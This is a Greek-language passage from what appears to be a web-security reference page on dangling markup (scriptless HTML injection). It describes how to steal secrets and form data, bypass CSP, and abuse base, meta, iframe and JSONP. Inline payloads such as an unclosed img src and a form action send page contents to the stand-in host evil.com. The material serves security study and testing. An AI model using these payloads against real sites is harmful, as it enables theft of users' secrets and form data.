Dangling Markup - HTML scriptless injection
Resume
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια HTML injection. Αυτό είναι πολύ χρήσιμο αν δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα XSS αλλά μπορείτε να εισάγετε μερικές HTML ετικέτες. Είναι επίσης χρήσιμο αν κάποιο μυστικό αποθηκεύεται σε καθαρό κείμενο στο HTML και θέλετε να εξάγετε αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.
Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια Content Security Policy εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).
Main Applications
Stealing clear text secrets
Αν εισάγετε <img src='http://evil.com/log.cgi?
όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας img
και της επόμενης απόστροφου μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας μια διπλή απόστροφο, δείτε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).
Αν η ετικέτα img
είναι απαγορευμένη (λόγω CSP για παράδειγμα), μπορείτε επίσης να χρησιμοποιήσετε <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Σημειώστε ότι το Chrome μπλοκάρει τα HTTP URLs με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλα πρωτόκολλα όπως το "ftp".
Μπορείτε επίσης να εκμεταλλευτείτε το CSS @import
(θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")
Μπορείτε επίσης να χρησιμοποιήσετε <table
:
Μπορείτε επίσης να εισάγετε μια <base
ετικέτα. Όλες οι πληροφορίες θα αποσταλούν μέχρι να κλείσει η παράθεση, αλλά απαιτεί κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιον σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει το τομέα που υποδεικνύει ο σύνδεσμος):
Κλοπή φορμών
Τότε, οι φόρμες που στέλνουν δεδομένα σε διαδρομή (όπως <form action='update_profile.php'>
) θα στείλουν τα δεδομένα στο κακόβουλο domain.
Stealing forms 2
Ορίστε μια κεφαλίδα φόρμας: <form action='http://evil.com/log_steal'>
αυτό θα αντικαταστήσει την επόμενη κεφαλίδα φόρμας και όλα τα δεδομένα από τη φόρμα θα σταλούν στον επιτιθέμενο.
Stealing forms 3
Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL στην οποία θα σταλούν οι πληροφορίες της φόρμας με την ιδιότητα "formaction":
Ένας επιτιθέμενος μπορεί να το χρησιμοποιήσει για να κλέψει τις πληροφορίες.
Βρείτε ένα παράδειγμα αυτής της επίθεσης σε αυτή την αναφορά.
Κλέβοντας μυστικά σε καθαρό κείμενο 2
Χρησιμοποιώντας την τελευταία αναφερόμενη τεχνική για να κλέψετε φόρμες (εισάγοντας μια νέα κεφαλίδα φόρμας) μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισόδου:
και αυτό το πεδίο εισόδου θα περιέχει όλο το περιεχόμενο μεταξύ των διπλών εισαγωγικών του και του επόμενου διπλού εισαγωγικού στο HTML. Αυτή η επίθεση συνδυάζει το "Stealing clear text secrets" με το "Stealing forms2".
Μπορείτε να κάνετε το ίδιο πράγμα εισάγοντας μια φόρμα και μια ετικέτα <option>
. Όλα τα δεδομένα μέχρι να βρεθεί μια κλειστή </option>
θα σταλούν:
Form parameter injection
Μπορείτε να αλλάξετε τη διαδρομή μιας φόρμας και να εισάγετε νέες τιμές ώστε να εκτελείται μια απροσδόκητη ενέργεια:
Κλοπή καθαρών μυστικών μέσω noscript
<noscript></noscript>
Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευτεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο chrome://settings/content/javascript).
Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού:
Bypassing CSP with user interaction
Από αυτήν την έρευνα του portswigger μπορείτε να μάθετε ότι ακόμη και από τα πιο περιορισμένα περιβάλλοντα CSP μπορείτε να εξάγετε δεδομένα με κάποια αλληλεπίδραση χρήστη. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:
Σημειώστε ότι θα ζητήσετε από το θύμα να κλικάρει σε έναν σύνδεσμο που θα ανακατευθύνει αυτόν σε payload που ελέγχετε εσείς. Επίσης, σημειώστε ότι το target
χαρακτηριστικό μέσα στην base
ετικέτα θα περιέχει HTML περιεχόμενο μέχρι το επόμενο μονό απόσπασμα.
Αυτό θα κάνει ώστε η τιμή του window.name
αν κλικάρετε τον σύνδεσμο να είναι όλο αυτό το HTML περιεχόμενο. Επομένως, καθώς ελέγχετε τη σελίδα στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το window.name
και να exfiltrate αυτά τα δεδομένα:
Misleading script workflow 1 - HTML namespace attack
Εισάγετε μια νέα ετικέτα με και id μέσα στο HTML που θα αντικαταστήσει την επόμενη και με μια τιμή που θα επηρεάσει τη ροή ενός script. Σε αυτό το παράδειγμα επιλέγετε με ποιον θα μοιραστεί μια πληροφορία:
Misleading script workflow 2 - Script namespace attack
Δημιουργήστε μεταβλητές μέσα στο namespace javascript εισάγοντας HTML tags. Στη συνέχεια, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:
Κατάχρηση του JSONP
Αν βρείτε μια διεπαφή JSONP, θα μπορούσατε να καλέσετε μια αυθαίρετη συνάρτηση με αυθαίρετα δεδομένα:
Ή μπορείτε ακόμη να προσπαθήσετε να εκτελέσετε κάποια javascript:
Iframe abuse
Ένα παιδικό έγγραφο έχει τη δυνατότητα να δει και να τροποποιήσει την ιδιότητα location
του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα iframe που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:
Αυτό μπορεί να μετριαστεί με κάτι όπως: sandbox=' allow-scripts allow-top-navigation'
Ένα iframe μπορεί επίσης να καταχραστεί για να διαρρεύσει ευαίσθητες πληροφορίες από μια διαφορετική σελίδα χρησιμοποιώντας το χαρακτηριστικό name του iframe. Αυτό συμβαίνει επειδή μπορείτε να δημιουργήσετε ένα iframe που iframe τον εαυτό του καταχρώντας την HTML injection που κάνει τις ευαίσθητες πληροφορίες να εμφανίζονται μέσα στο χαρακτηριστικό name του iframe και στη συνέχεια να αποκτήσετε πρόσβαση σε αυτό το όνομα από το αρχικό iframe και να το διαρρεύσετε.
Για περισσότερες πληροφορίες, ελέγξτε https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
Μπορείτε να χρησιμοποιήσετε meta http-equiv
για να εκτελέσετε διάφορες ενέργειες όπως να ρυθμίσετε ένα Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ή να εκτελέσετε μια ανακατεύθυνση (σε 5 δευτερόλεπτα σε αυτή την περίπτωση): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Αυτό μπορεί να αποφευχθεί με μια CSP σχετικά με http-equiv ( Content-Security-Policy: default-src 'self';
, ή Content-Security-Policy: http-equiv 'self';
)
Νέος <portal HTML tag
Μπορείτε να βρείτε μια πολύ ενδιαφέρουσα έρευνα για εκμεταλλεύσιμες ευπάθειες του <portal tag εδώ.
Αυτή τη στιγμή που γράφεται αυτό, πρέπει να ενεργοποιήσετε το portal tag στο Chrome στο chrome://flags/#enable-portals
ή δεν θα λειτουργήσει.
HTML Leaks
Όλοι οι τρόποι διαρροής συνδεσιμότητας σε HTML δεν θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Αυτό είναι ένα μείγμα μεταξύ dangling markup και XS-Leaks. Από τη μία πλευρά, η ευπάθεια επιτρέπει να εισαχθεί HTML (αλλά όχι JS) σε μια σελίδα της ίδιας προέλευσης με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα επιτεθούμε άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε μια άλλη σελίδα.
SS-LeaksXS-Search/XS-Leaks
XS-Search είναι προσανατολισμένα να εξάγουν πληροφορίες από διαφορετικές προελεύσεις εκμεταλλευόμενα επιθέσεις πλευρικής διαρροής. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, ορισμένες από τις τεχνικές εκμεταλλεύονται την εισαγωγή HTML ετικετών (με και χωρίς εκτέλεση JS), όπως CSS Injection ή Lazy Load Images.
XS-Search/XS-LeaksBrute-Force Detection List
References
Last updated